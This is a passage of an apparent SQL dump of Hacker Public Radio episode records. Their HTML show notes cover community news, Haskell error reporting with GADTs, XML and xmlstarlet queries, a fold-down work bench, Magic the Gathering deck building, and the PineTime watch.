futility</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=406\" target=\"_blank\">binrc</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3675#1\" target=\"_blank\">Comment 1</a>:\none_of_spoons on 2022-09-02:\n\"Directive gem.\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3675#2\" target=\"_blank\">Comment 2</a>:\nClaudioM on 2022-09-02:\n\"plan9 / 9p\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3675#3\" target=\"_blank\">Comment 3</a>:\nnorrist on 2022-09-02:\n\"In-Depth Series: Learning Awk\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3675#4\" target=\"_blank\">Comment 4</a>:\nken on 2022-09-03:\n\"Editors note not Ken Fallon\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3675#5\" target=\"_blank\">Comment 5</a>:\npasserby on 2022-09-03:\n\"fake news\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3675#6\" target=\"_blank\">Comment 6</a>:\nwill on 2022-09-03:\n\"come back to plan9\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3676#comments\" target=\"_blank\">hpr3676</a></strong>\n(2022-09-05) \"<em>HPR Community News for August 2022</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=159\" target=\"_blank\">HPR Volunteers</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3676#1\" target=\"_blank\">Comment 1</a>:\nArcher72 on 2022-09-04:\n\"Good show - I made it to the end\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3676#2\" target=\"_blank\">Comment 2</a>:\nClaudioM on 2022-09-05:\n\"Another One Made It to the End!\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3676#3\" target=\"_blank\">Comment 3</a>:\nMike Ray on 2022-09-05:\n\"A11y and abbreviations\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3676#4\" target=\"_blank\">Comment 4</a>:\noperat0r on 2022-09-06:\n\"I made it !\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3676#5\" target=\"_blank\">Comment 5</a>:\nfolky on 2022-09-06:\n\"Did make it too\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3676#6\" target=\"_blank\">Comment 6</a>:\nbrian-in-ohio on 2022-09-06:\n\"the show\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3676#7\" target=\"_blank\">Comment 7</a>:\nnorrist on 2022-09-06:\n\"Public access to HPR site Generator\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3676#8\" target=\"_blank\">Comment 8</a>:\nMiguel on 2022-09-06:\n\"I made it!!\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3676#9\" target=\"_blank\">Comment 9</a>:\nStache_AF on 2022-09-07:\n\"Made It\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3677#comments\" target=\"_blank\">hpr3677</a></strong>\n(2022-09-06) \"<em>Hacker Public Radio 2021 - 2022 New Years Show Part 4</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=269\" target=\"_blank\">Honkeymagoo</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3677#1\" target=\"_blank\">Comment 1</a>:\nKen Fallon on 2022-09-02:\n\"Thanks To:\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3677#2\" target=\"_blank\">Comment 2</a>:\nFilly Buster on 2022-09-06:\n\"Filibuster\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3678#comments\" target=\"_blank\">hpr3678</a></strong>\n(2022-09-07) \"<em>\"Stupid Users\" ... no, not those users, the other \"stupid users\"</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=405\" target=\"_blank\">Lurking Prion</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3678#1\" target=\"_blank\">Comment 1</a>:\nSome Guy On The Internet on 2022-09-08:\n\"Stupid=\"NO BACKUPS!\"\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3678#2\" target=\"_blank\">Comment 2</a>:\nLurking Prion on 2022-09-09:\n\"No Backups\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3678#3\" target=\"_blank\">Comment 3</a>:\nLurking Prion on 2022-09-09:\n\"Not a podcast\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3678#4\" target=\"_blank\">Comment 4</a>:\nSome Guy On The Internet on 2022-09-10:\n\"You\'re Fine (...preemptive strike).\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3682#comments\" target=\"_blank\">hpr3682</a></strong>\n(2022-09-13) \"<em>Hacker Public Radio 2021 - 2022 New Years Show Part 5</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=269\" target=\"_blank\">Honkeymagoo</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3682#1\" target=\"_blank\">Comment 1</a>:\nKen Fallon on 2022-09-02:\n\"Thanks To:\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3687#comments\" target=\"_blank\">hpr3687</a></strong>\n(2022-09-20) \"<em>Hacker Public Radio 2021 - 2022 New Years Show Part 6</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=269\" target=\"_blank\">Honkeymagoo</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3687#1\" target=\"_blank\">Comment 1</a>:\nKen Fallon on 2022-09-02:\n\"Thanks To:\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3692#comments\" target=\"_blank\">hpr3692</a></strong>\n(2022-09-27) \"<em>What is a real hacker?</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=405\" target=\"_blank\">Lurking Prion</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3692#1\" target=\"_blank\">Comment 1</a>:\nbrian-in-ohio on 2022-09-27:\n\"cussing\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3692#2\" target=\"_blank\">Comment 2</a>:\nLurking Prion on 2022-09-28:\n\"Yes, I probably need a hug\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3694#comments\" target=\"_blank\">hpr3694</a></strong>\n(2022-09-29) \"<em>Robo Tripping Ravelords of the Apocalypse</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=401\" target=\"_blank\">Mechatroniac</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3694#1\" target=\"_blank\">Comment 1</a>:\none_of_spoons on 2022-09-29:\n\"{inspirational artifice}\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3694#2\" target=\"_blank\">Comment 2</a>:\nClaudioM on 2022-09-29:\n\"Great Story\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3694#3\" target=\"_blank\">Comment 3</a>:\nKen Fallon on 2022-09-29:\n\"I loved this\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3694#4\" target=\"_blank\">Comment 4</a>:\nMechatroniac on 2022-09-29:\n\"Thanks\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3694#5\" target=\"_blank\">Comment 5</a>:\nbrian-in-ohio on 2022-09-30:\n\"the show\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3695#comments\" target=\"_blank\">hpr3695</a></strong>\n(2022-09-30) \"<em>How I watch youtube with newsboat</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=406\" target=\"_blank\">binrc</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3695#1\" target=\"_blank\">Comment 1</a>:\nfolky on 2022-09-30:\n\"Great for gpodder too\"</li></ul><br/>\n</li></ul>\n\n<h2>Mailing List discussions</h2>\n<p>\nPolicy decisions surrounding HPR are taken by the community as a whole. This\ndiscussion takes place on the <a href=\"https://hackerpublicradio.org/maillist\"\ntarget=\"_blank\">Mail List</a> which is open to all HPR listeners and\ncontributors. The discussions are open and available on the HPR server under\n<a href=\"https://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/\">Mailman</a>.\n</p>\n<p>The threaded discussions this month can be found here:</p>\n<a href=\"https://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/2022-September/thread.html\" target=\"_blank\">https://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/2022-September/thread.html</a>\n\n\n<h2>Events Calendar</h2>\n<p>With the kind permission of <strong>LWN.net</strong> we are linking to\n<a href=\"https://lwn.net/Calendar/\" target=\"_blank\">The LWN.net Community Calendar</a>.</p>\n<p>Quoting the site:</p>\n<blockquote>This is the LWN.net community event calendar, where we track\nevents of interest to people using and developing Linux and free software.\nClicking on individual events will take you to the appropriate web\npage.</blockquote>\n\n<h2>Any other business</h2>\n<h3 id=\"fosdem-2023\">FOSDEM 2023</h3>\n<p>FOSDEM 2023 will take place in Brussels, Belgium at the Université Libre de Bruxelles (or ULB) next February on the weekend of the 4th and 5th.</p>\n<p>HPR had a stand at the last in-person event, representing <em>Free Culture Podcasts</em>. There is a call for proposals out at the moment for those wishing to run a stand for the forthcoming event.</p>\n<h3 id=\"older-hpr-shows-on-archive.org-phase-2\">Older HPR shows on archive.org, phase 2</h3>\n<p>Now that all shows from number 1 to the latest have been uploaded to the Internet Archive there are other tasks to perform. We are reprocessing and re-uploading shows in the range 871 to 2429 as explained in the Community News show notes released in <a href=\"http://hackerpublicradio.org/eps.php?id=3586#older-hpr-shows-on-archive.org-phase-2\">May 2022</a>. We are keeping a running total here to show progress:</p>\n<table>\n<tr>\n<th>\nMonth\n</th>\n<th>\nMonth count\n</th>\n<th>\nRunning total\n</th>\n<th>\nRemainder\n</th>\n</tr>\n<tr>\n<td>\n2022-04\n</td>\n<td>\n130\n</td>\n<td>\n130\n</td>\n<td>\n1428\n</td>\n</tr>\n<tr>\n<td>\n2022-05\n</td>\n<td>\n140\n</td>\n<td>\n270\n</td>\n<td>\n1288\n</td>\n</tr>\n<tr>\n<td>\n2022-06\n</td>\n<td>\n150\n</td>\n<td>\n420\n</td>\n<td>\n1138\n</td>\n</tr>\n<tr>\n<td>\n2022-07\n</td>\n<td>\n155\n</td>\n<td>\n575\n</td>\n<td>\n983\n</td>\n</tr>\n<tr>\n<td>\n2022-08\n</td>\n<td>\n155\n</td>\n<td>\n730\n</td>\n<td>\n828\n</td>\n</tr>\n<tr>\n<td>\n2022-09\n</td>\n<td>\n150\n</td>\n<td>\n880\n</td>\n<td>\n678\n</td>\n</tr>\n</table>\n\n<p><small><small>Updated: 2022-10-02 11:47:18</small></small></p>\n\n',159,47,1,'CC-BY-SA','Community News',0,0,1),
(3392,'2021-08-03','Structured error reporting',1714,'tuturto talks about how she improved build times by breaking down error reporting to smaller parts','<h2 id=\"initial-state\">Initial state</h2>\r\n<p>When I originally wanted a unified error reporting on the server-side, I made one huge type that enumerated all the possible error cases that could be reported:</p>\r\n<pre><code>-- | Error codes for all errors returned by API\r\ndata ErrorCode\r\n    -- common error codes\r\n    = ResourceNotFound\r\n    | InsufficientRights\r\n    | FailedToParseDataInDatabase\r\n    -- errors specific to news\r\n    | SpecialEventHasAlreadyBeenResolved\r\n    | UnsupportedArticleType\r\n    | SpecialNewsExtractionFailed\r\n    | TriedToMakeChoiceForRegularArticle\r\n    -- errors specific to simulation state\r\n    | SimulationStatusNotFound\r\n    | DeltaTIsTooBig\r\n    | TurnProcessingAndStateChangeDisallowed\r\n    | SimulationNotOpenForCommands\r\n    | SimulationNotOpenForBrowsing\r\n    -- errors specific to people\r\n    | StatIsTooLow Text\r\n    | CouldNotConfirmDateOfBirth\r\n    | DateOfBirthIsInFuture\r\n    | FirstNameIsEmpty\r\n    | FamilyNameIsEmpty\r\n    | CognomenIsEmpty\r\n    | RegnalNumberIsLessThanZero\r\n    -- errors specific to new person creation\r\n    | AgeBracketStartIsGreaterThanEnd\r\n    | PersonCreationFailed\r\n    deriving (Show, Read, Eq)\r\n</code></pre>\r\n<p>Then I had some helper functions to turn any value of that type into a nice error message:</p>\r\n<pre><code>errorCodeToStatusCode :: ErrorCode -&gt; Int\r\nstatusCodeToText :: Int -&gt; ByteString\r\nerrorCodeToText :: ErrorCode -&gt; Text\r\nraiseIfErrors :: [ErrorCode] -&gt; HandlerFor App ()\r\n</code></pre>\r\n<p><code>errorCodeToStatusCode</code> was responsible for turning <code>ErrorCode</code> into http status code. For example <code>StatIsTooLow \"intrigue\"</code> would be <code>400</code>. <code>statusCodeToText</code> would take this code and turn it into short error message given in http response. <code>400</code> would be <code>Bad Request</code>. <code>errorCodeToText</code> would give a bit more verbose explanation of what happened, <code>StatIsTooLow \"intrigue\"</code> would be mapped to <code>\"Stat intrigue is too low\"</code>. Finally <code>raiseIfErrors</code> would take a list of <code>ErrorCode</code> and use these helper functions to turn them into a http response with correct status code, error message and json body detailing all errors that had happened:</p>\r\n<pre><code>[\r\n    { code:\r\n        { tag: &quot;StatIsTooLow&quot;\r\n        , contents: &quot;intrique&quot;\r\n        }\r\n    , error: &quot;Stat intrigue is too low&quot;\r\n    }\r\n]\r\n</code></pre>\r\n<p>There’s two tags: <code>code</code>, which contains machine readable details about the error and <code>error</code>, which contains error message that can be shown to user.</p>\r\n<p>While this worked fine, there was some problems with it. <code>ErrorCode</code> type was growing larger and larger and the module it was defined in was referred all over the codebase. Every time I added a new error message, all the modules that used error reporting had to be compiled and it was getting slow.</p>\r\n<h2 id=\"solution\">Solution</h2>\r\n<p>Breaking up the <code>ErrorCode</code> to smaller types and moving them to different modules would means less modules were going to built when I added a new error code. The problem was that <code>raiseIfErrors :: [ErrorCode] -&gt; HandlerFor App ()</code> wanted a list of <code>ErrorCode</code> and elements in a list have to be of same type.</p>\r\n<p>I started by splitting <code>ErrorCode</code> to smaller types. Each of the smaller error types have automatically derived toJSON and fromJSON functions for serializing them to and from JSON:</p>\r\n<pre><code>data PersonCreationError =\r\n    StatIsTooLow Text\r\n    | CouldNotConfirmDateOfBirth\r\n    | DateOfBirthIsInFuture\r\n    | FirstNameIsEmpty\r\n    | FamilyNameIsEmpty\r\n    | CognomenIsEmpty\r\n    | RegnalNumberIsLessThanZero\r\n    deriving (Show, Read, Eq)\r\n\r\n$(deriveJSON defaultOptions &#39;&#39;PersonCreationError)\r\n</code></pre>\r\n<p>That <code>$(deriveJSON defaultOptions \'\'PersonCreationError)</code> is template haskell call. Basically it invokes a <code>deriveJSON</code> function with <code>PersonCreationError</code> as parameter and compiles and splices the resulting code here. This is fast and easy way of generating <code>ToJSON</code> and <code>FromJSON</code> instances and avoiding having to write them by hand. It is very similar to how Lisp macros work.</p>\r\n<p>Then I defined a type class, that has functions for getting a http status code and a error message that can be shown to user. <code>statusCodeToText</code> I could use as is, without any modifications:</p>\r\n<pre><code>class ErrorCodeClass a where\r\n    httpStatusCode :: a -&gt; Int\r\n    description :: a -&gt; Text\r\n</code></pre>\r\n<p>I have to have instance of <code>ErrorCodeClass</code> defined for each and every smaller error type. Here’s an excerpt of <code>PersonCreationError</code> showing how it would look like:</p>\r\n<pre><code>instance ErrorCodeClass PersonCreationError where\r\n    httpStatusCode = \\case\r\n        StatIsTooLow _ -&gt; 400\r\n        CouldNotConfirmDateOfBirth -&gt; 500\r\n...\r\n\r\n    description = \\case\r\n        StatIsTooLow s -&gt;\r\n            &quot;Stat &quot; ++ s ++ &quot; is too low&quot;\r\n...\r\n</code></pre>\r\n<p>A little note: <code>description = \\case</code> relies on lambda case extension. It is just a slightly different way of writing:</p>\r\n<pre><code>    description d =\r\n        case d of\r\n</code></pre>\r\n<p>This allows me to turn values of these smaller error types into error messages that could be sent to the user.</p>\r\n<p>The second part of the solution is to figure out a way to put values of these smaller error types into same list. If a list is of type <code>[PersonCreationError]</code>, it can’t contain values of <code>CommonError</code> and vice versa. Creating a wrapper like:</p>\r\n<pre><code>data ECode a = ECode a\r\n</code></pre>\r\n<p>doesn’t work, because then I would have elements of type <code>ECode PersonCreationError</code> and <code>ECode CommonError</code>, which are of different type. What I need, is a way to wrap all these different types into a wrapper that loses the type of wrapped value. Another problem is that I need to place constraints on what kind of values can be wrapped. I need them to have instances for <code>ErrorCodeClass</code> (for getting error information) and ToJSON (for serializing them into JSON). There’s several ways of doing this, but I chose to use generalized algebraic data types (GADTs for short):</p>\r\n<pre><code>{-# LANGUAGE GADTs #-}\r\n\r\ndata ECode where\r\n    ECode :: (ErrorCodeClass a, ToJSON a) =&gt; a -&gt; ECode\r\n</code></pre>\r\n<p>Now type <code>ECode</code> has one value constructor, also named to <code>ECode</code>, which takes one parameter <code>a</code>. <code>a</code> can be anything, as long as there’s <code>ErrorCodeClass</code> and <code>ToJSON</code> instances defined for it. Calling this constructor will return <code>ECode</code>. If you compare this with the previous definition of <code>ECode</code>, you’ll notice two major differences:</p>\r\n<ul>\r\n<li><code>a</code> is constrained to have specific type class instances</li>\r\n<li>resulting type is <code>ECode</code>, not <code>ECode a</code></li>\r\n</ul>\r\n<p>The second part means that I can wrap different types into <code>ECode</code> and place them into a same list without problems. Type of that list is simply <code>[ECode]</code>.</p>\r\n<p>But having a list of error codes wrapped in <code>ECode</code> isn’t going to do much to us. We need to be able to turn them into http status code, text and list of error messages. Luckily we have a type class just for that:</p>\r\n<pre><code>instance ErrorCodeClass ECode where\r\n    httpStatusCode (ECode a) =\r\n        httpStatusCode a\r\n\r\n    description (ECode a) =\r\n        description a\r\n</code></pre>\r\n<p><code>httpStatusCode</code> of <code>ECode</code> is <code>httpStatusCode</code> of the value <code>ECode</code> wraps. Similarly <code>description</code> of <code>ECode</code> is <code>description</code> of the wrapped value.</p>\r\n<p>For turning <code>ECode</code> into JSON, I opted for hand written instance:</p>\r\n<pre><code>instance ToJSON ECode where\r\n    toJSON (ECode a) =\r\n        object [ &quot;HttpCode&quot; .= httpStatusCode a\r\n               , &quot;FaultCode&quot; .= toJSON a\r\n               , &quot;ErrorDescription&quot; .= description a\r\n               ]\r\n</code></pre>\r\n<p>This gives me complete control over how I want to report errors to the client.</p>\r\n<p>Final piece of the puzzle is <code>raiseIfErrors</code> function:</p>\r\n<pre><code>raiseIfErrors :: [ECode] -&gt; HandlerFor App ()\r\nraiseIfErrors errors = do\r\n    when (not $ null errors) $ do\r\n        let code = fromMaybe 500 $ errors ^? ix 0 . to httpStatusCode\r\n        let msg = statusCodeToText code\r\n        sendStatusJSON (Status code msg) $ toJSON errors\r\n</code></pre>\r\n<p>If there are any elements in the passed in list, grab the http status code and text from the first element of the list. I was considering writing some sort of logic to deduce which error code to return in case there are more than one type in the list, but decided against it. There doesn’t seem to be any easy way to decide between HTTP 400 Bad Request and HTTP 500 Internal Server Error. So I just return the first one. Body of the response contains list of errors codes:</p>\r\n<pre><code>[\r\n    { HttpCode: 400\r\n    , FaultCode: {\r\n        Tag: &quot;StatIsTooLow&quot;\r\n        , Contents: &quot;intrique&quot;\r\n        }\r\n    , ErrorDescription: &quot;Stat intrigue is too low&quot;\r\n    }\r\n]\r\n</code></pre>\r\n<p>Since manually wrapping things in <code>ECode</code> gets tedious after a while, I defined function for each type of error that does that for me:</p>\r\n<pre><code>statIsTooLow :: Text -&gt; ECode\r\nstatIsTooLow s = ECode $ StatIsTooLow s\r\n</code></pre>\r\n<p>Now, instead of writing <code>ECode $ StatIsTooLow \"intrigue\"</code>, I can write <code>statIsTooLow \"intrigue\"</code>. And if I ever decide to change internals of errors again, I can change how these functions are defined and hopefully don’t have to change each and every place where they’re being used.</p>\r\n<h2 id=\"different-solution\">Different solution</h2>\r\n<p>Another way to tackle this problem is to use records instead of algebraic data types:</p>\r\n<pre><code>data ECode = ECode\r\n    { httpCode :: Int\r\n    , description :: Text\r\n    }\r\n\r\nstatIsTooLow :: Text -&gt; ECode\r\nstatIsTooLow s =\r\n    ECode\r\n    { httpCode = 400\r\n    , description = &quot;Stat &quot; ++ s ++ &quot; is too low&quot;\r\n    }\r\n</code></pre>\r\n',364,107,1,'CC-BY-SA','haskell, error reporting',0,0,1),
(3393,'2021-08-04','We need to talk about XML',1885,'An extensible markup language? This is too good to be true!','<p>Klaatu introduces XML.</p>\r\n\r\n<p>\r\nThe sample XML document discussed in this episode is&#58;\r\n</p>\r\n\r\n<pre>\r\n<code>\r\n&#60;xml&gt;\r\n  &#60;sol&gt;\r\n    &#60;planet&gt;\r\n      &#60;name&gt;\r\n        Mercury\r\n      &#60;&#47;name&gt;\r\n      &#60;albedo&gt;\r\n        0.11\r\n      &#60;&#47;albedo&gt;\r\n    &#60;&#47;planet&gt;\r\n    &#60;planet&gt;\r\n      &#60;name&gt;\r\n        Venus\r\n      &#60;&#47;name&gt;\r\n      &#60;albedo&gt;\r\n        0.7\r\n      &#60;&#47;albedo&gt;\r\n    &#60;&#47;planet&gt;\r\n    &#60;planet&gt;\r\n      &#60;name&gt;\r\n        Terra\r\n      &#60;&#47;name&gt;\r\n      &#60;albedo&gt;\r\n        0.39\r\n      &#60;&#47;albedo&gt;\r\n    &#60;&#47;planet&gt;\r\n  &#60;&#47;sol&gt;\r\n&#60;&#47;xml&gt;\r\n</code>\r\n</pre>\r\n',78,0,0,'CC-BY-SA','xml,data,markup,markdown',0,0,1),
(3394,'2021-08-05','Be an XML star with xmlstarlet',1591,'Parse XML from the terminal','<p>See the layout of an XML document</p>\r\n\r\n<pre><code>\r\n$ xmlstarlet elements planets.xml\r\nxml\r\nxml/sol\r\nxml/sol/planet\r\nxml/sol/planet/name\r\nxml/sol/planet/albedo\r\nxml/sol/planet\r\nxml/sol/planet/name\r\nxml/sol/planet/albedo\r\nxml/sol/planet\r\nxml/sol/planet/name\r\nxml/sol/planet/albedo\r\n</code>\r\n</pre>\r\n\r\n<p>See content of the <strong>planet</strong> node</p>\r\n\r\n<pre><code>\r\n$ xmlstarlet select -t --value-of \'/xml/sol/planet\' planets.xml\r\n\r\n        Mercury\r\n        0.11\r\n\r\n        Venus\r\n        0.7\r\n\r\n        Terra\r\n        0.39\r\n</code></pre>\r\n\r\n<p>Get the third instance of the <strong>planet</strong> node</p>\r\n\r\n<pre><code>\r\n$ xmlstarlet select -t --value-of \'/xml/sol/planet[3]\' planets.xml\r\nTerra\r\n0.39\r\n</code></pre>\r\n\r\n<p>Get only the planets with an albedo greater than 0.25</p>\r\n\r\n<pre><code>\r\n$ xmlstarlet select -t --value-of \'/xml/sol/planet[albedo > 0.25]\' planets.xml\r\n\r\nVenus\r\n0.7\r\n\r\nTerra\r\n0.39\r\n</code></pre>\r\n\r\n<p>Get only the planets closer to Sol than the third planet</p>\r\n\r\n<pre><code>\r\n$ xmlstarlet select -t --value-of \'/xml/sol/planet[position() < 3]\' planets.xml\r\n\r\nMercury\r\n0.11\r\n\r\nVenus\r\n0.7\r\n</code></pre>\r\n\r\n<p>Learn more XPath functions at <a href=\"https://developer.mozilla.org/en-US/docs/Web/XPath\" target=\"_blank\">Mozilla Developer Network</a>.</p>\r\n\r\n<p>Download xmlstarlet from <a href=\"https://xmlstar.sourceforge.net\"\r\ntarget=\"_blank\">xmlstar.sourceforge.net</a> (<a href=\"https://sourceforge.net/projects/xmlstar/\">https://sourceforge.net/projects/xmlstar/</a>).\r\n</p>\r\n',78,0,0,'CC-BY-SA','xml,data,markup,markdown',0,0,1),
(3441,'2021-10-11','Murphy Work Bench',842,'Operator talks about hitting his head on his work bench','<ul>\r\n<li>PROS:\r\n<ul>\r\n<li>easy clean up just fold and vacuum</li>\r\n<li>height is great for tall people so I\'m not hunched over the table</li>\r\n<li>saves space</li>\r\n</ul></li>\r\n<li>CONS:\r\n<ul>\r\n<li>I ran into it 2 times so I rounded the edges</li>\r\n<li>I just now hit my head on it ... folded and crashed everything on the table to the ground and pic I custom made fell of the wall and into my AC water bucket</li>\r\n<li>loud when using and setting up everything echoes though the walls at night etc</li>\r\n</ul></li>\r\n</ul>\r\n<!-- . -->\r\n<ul>\r\n<li><a href=\"https://smile.amazon.com/gp/product/B08F4VNT9P\" class=\"uri\">https://smile.amazon.com/gp/product/B08F4VNT9P</a> $60</li>\r\n<li>MDF cut at Lowes $50</li>\r\n</ul>\r\n<p><img src=\"https://hackerpublicradio.org/eps/hpr3441/WorkBench.gif\" alt=\"https://hackerpublicradio.org/eps/hpr3441/WorkBench.gif\" /></p>\r\n',36,0,1,'CC-BY-SA','DIY,wood working,hacking',0,0,1),
(3396,'2021-08-09','Card roles in Magic the Gathering',2367,'There are over 25,000 cards in MTG. You only need 60 to play.','<p>Cutting to the chase&#58;</p>\r\n<p>When getting into Magic the Gathering, it&#39;s easy to get overwhelmed and confused by choice. Instead of thinking about cards, I&#39;ve learnt to think about the game mechanic roles that a deck needs to have satisfied, and then I look for cards that fill those roles.\r\n</p>\r\n\r\n<p>My list is by no means definitive, but I think these are the basic universal roles you need, regardless of how you play&#58;</p>\r\n\r\n<ul>\r\n<li>Mana base&#58; Land cards. These provide you with mana so you can play cards. For a 60 card deck, anticipate requiring about 24. In a later episode, I&#39;ll talk about additional ways to manage mana.</li>\r\n<li>General purpose&#58; Creatures, enchantments, instants, artifacts, and so on. These are cards, costing a full spectrum of mana amounts &#40;some you can play for 1 or 2 mana, others require 4 and 5 and more&#41;, that you need to populate your deck. These don&#39;t need to be anything special, unless you want to spend money for really fancy cards, but I assume you&#39;re not listening to me if you&#39;re a pro player.<//i>\r\n<li>Card draw&#58; You&#39;re going to deplete your hand unless you have cards that give you permission to draw more cards than just your allotted one-per-turn.</li>\r\n<li>Recursion&#58; When you&#39;re forced to discard a card you really really wanted to play, you&#39;ll be glad to have some cards that grant you permission to bring that card back from your graveyard. This is called &#34;recursion&#34; by Magic players.</li>\r\n</ul>\r\n\r\n<p>There are other card types that can be useful, but they may be best for specific strategies. The ones I list here are, I believe, pretty universal.\r\n</p>\r\n\r\n<p>You can find lists of cards that fill specific roles with a simple Internet search. For instance, if you realize you have no cards that let you replenish your hand, you might search for &#34;best cards to draw cards MTG&#34; and get directed to a site like <a href=\"https://tappedout.net/mtg-decks/list-of-edh-draw-cards/\" target=\"_blank\">TappedOut.net</a> or <a href=\"https://magic.wizards.com/en/articles/archive/feature/top-50-card-drawing-cards-2003-03-21-0\" target=\"_blank\">magic.wizards.com</a>.</p>\r\n\r\n<p>Go to your local game store or an online vendor to buy just the cards you need. Because there are so many to choose from in any given category, you get to control the price. I have a rule for myself that do not spend over $2 on any single card.\r\n</p>\r\n\r\n<p>When trying to fill roles, I generally aim to get 4 cards that do the thing I need. Sometimes I get exactly the same card 4 times, other times I get a variety of cards to fill the role. Either way, 4 usually feels like a good draw frequency for each role.</p>\r\n\r\n',78,0,0,'CC-BY-SA','magic, mtg, card, tcg',0,0,1),
(3401,'2021-08-16','Mana hacks',1924,'Klaatu muses about mana ramping in Magic the Gathering','<p>The categories of mana ramps I have defined for myself are&#58;</p>\r\n<ul>\r\n<li>Mana acquired outside of the land drop action</li>\r\n<li>Getting more mana for less</li>\r\n<li>Mana saved up over time</li>\r\n</ul>\r\n',78,95,0,'CC-BY-SA','magic, mtg, card, tcg, mana',0,0,1),
(3397,'2021-08-10','What is a PineTime',595,'In this podcast I talk a little bit about the pinetime.','<p>\r\nThis is the first impression of a PineTime watch that I bought about a week ago and have already done some changes to the underlying code. I think this is an interesting project and open source so you can contribute.\r\n</p>\r\n<p>\r\nGithub repository:\r\n<a href=\"https://github.com/JF002/InfiniTime\">https://github.com/JF002/InfiniTime</a>\r\n</p>\r\n<p>\r\nSales page:\r\n<a href=\"https://www.pine64.org/pinetime/\">https://www.pine64.org/pinetime/</a>\r\n</p>',382,0,0,'CC-BY-SA','open source, watch, coding',0,0,1),
(3406,'2021-08-23','A study of cards in games',1633,'Currency, deterrent, coersion, clutter, rules','<p>What function cards have in games.</p>',78,95,0,'CC-BY-SA','card, game',0,0,1),
(3402,'2021-08-17','Reading a manifesto: Declaration of Digital Autonomy',877,'Reading and brief commentary and background on Molly DeBlanc\'s and Karen Sandler\'s techautonomy.org','<p><em>This episode, as its source material, is licensed under the Creative Commons Attribution-ShareAlike 4.0 International license.</em></p>\r\n<h2 id=\"previously\">Previously</h2>\r\n<ul>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=3317\">hpr3317</a> :: Reading a manifesto: Towards A Cooperative Technology Movement</li>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=3326\">hpr3326</a> :: HPR Community News for April 2021</li>\r\n</ul>\r\n<h2 id=\"free-software-timeline\">Free Software Timeline</h2>\r\n<ul>\r\n<li>1983-09: <a href=\"https://www.gnu.org/gnu/initial-announcement.html\">The GNU Project announced</a></li>\r\n<li>1985-03: The GNU Manifesto <a href=\"https://www.gnu.org/gnu/manifesto.en.html\">[1987, GNU]</a> <a href=\"https://archive.org/details/dr_dobbs_journal_vol_10/page/n197/mode/2up\">[Dr. Dobb\'s 1985, Internet Archive]</a></li>\r\n<li>1986-02: The <a href=\"https://www.gnu.org/philosophy/free-sw.en.html\">Free Software Definition</a> <a href=\"https://www.gnu.org/bulletins/bull1.txt\">[original bulletin]</a></li>\r\n<li>1997-05: <a href=\"https://www.catb.org/~esr/writings/cathedral-bazaar/\">The Cathedral 